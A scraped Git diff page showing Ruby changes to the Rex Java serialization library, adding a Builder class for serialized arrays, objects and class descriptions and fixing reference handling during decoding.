require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/builder'
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
# This class provides a builder to help in the construction of
|
||||
# Java serialized contents.
|
||||
class Builder
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [String] :values_type
|
||||
# @option opts [Array] :values
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
# @see #new_class
|
||||
def new_array(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
type = opts[:values_type] || ''
|
||||
values = opts[:values] || []
|
||||
|
||||
array = Rex::Java::Serialization::Model::NewArray.new
|
||||
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array.array_description.description = class_desc
|
||||
array.type = type
|
||||
array.values = values
|
||||
|
||||
array
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [Array] :data
|
||||
# @return [Rex::Java::Serialization::Model::NewObject]
|
||||
# @see #new_class
|
||||
def new_object(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
data = opts[:data] || []
|
||||
|
||||
object = Rex::Java::Serialization::Model::NewObject.new
|
||||
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
object.class_desc.description = class_desc
|
||||
object.class_data = data
|
||||
|
||||
object
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewClassDesc
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [String] :name
|
||||
# @option opts [Fixnum] :serial
|
||||
# @option opts [Fixnum] :flags
|
||||
# @option opts [Array] :fields
|
||||
# @option opts [Array] :annotations
|
||||
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
|
||||
# @return [Rex::Java::Serialization::Model::NewClassDesc]
|
||||
def new_class(opts = {})
|
||||
class_name = opts[:name] || ''
|
||||
serial_version = opts[:serial] || 0
|
||||
flags = opts[:flags] || 2
|
||||
fields = opts[:fields] || []
|
||||
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
|
||||
class_desc.serial_version = serial_version
|
||||
class_desc.flags = flags
|
||||
class_desc.fields = []
|
||||
|
||||
fields.each do |f|
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = f[0]
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
|
||||
class_desc.fields << field
|
||||
end
|
||||
|
||||
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
class_desc.class_annotation.contents = annotations
|
||||
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
class_desc.super_class.description = super_class
|
||||
|
||||
class_desc
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -109,6 +109,11 @@ module Rex
|
|||
|
||||
desc = array_description.description
|
||||
|
||||
if desc.class == Reference
|
||||
ref = desc.handle - BASE_WIRE_HANDLE
|
||||
desc = stream.references[ref]
|
||||
end
|
||||
|
||||
unless desc.class_name.contents[0] == '[' # Array
|
||||
raise ::RuntimeError, 'Unsupported NewArray description'
|
||||
end
|
||||
|
|
|
@ -66,9 +66,9 @@ module Rex
|
|||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) &&
|
||||
class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) &&
|
||||
super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc)
|
||||
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
|
||||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
|
|
|
@ -95,8 +95,13 @@ module Rex
|
|||
def decode_class_data(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
unless my_class_desc.super_class.description.kind_of?(NullReference)
|
||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
||||
unless my_class_desc.super_class.description.class == NullReference
|
||||
if my_class_desc.super_class.description.class == Reference
|
||||
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
|
||||
values += decode_class_data(io, stream.references[ref])
|
||||
else
|
||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
||||
end
|
||||
end
|
||||
|
||||
values += decode_class_fields(io, my_class_desc)
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue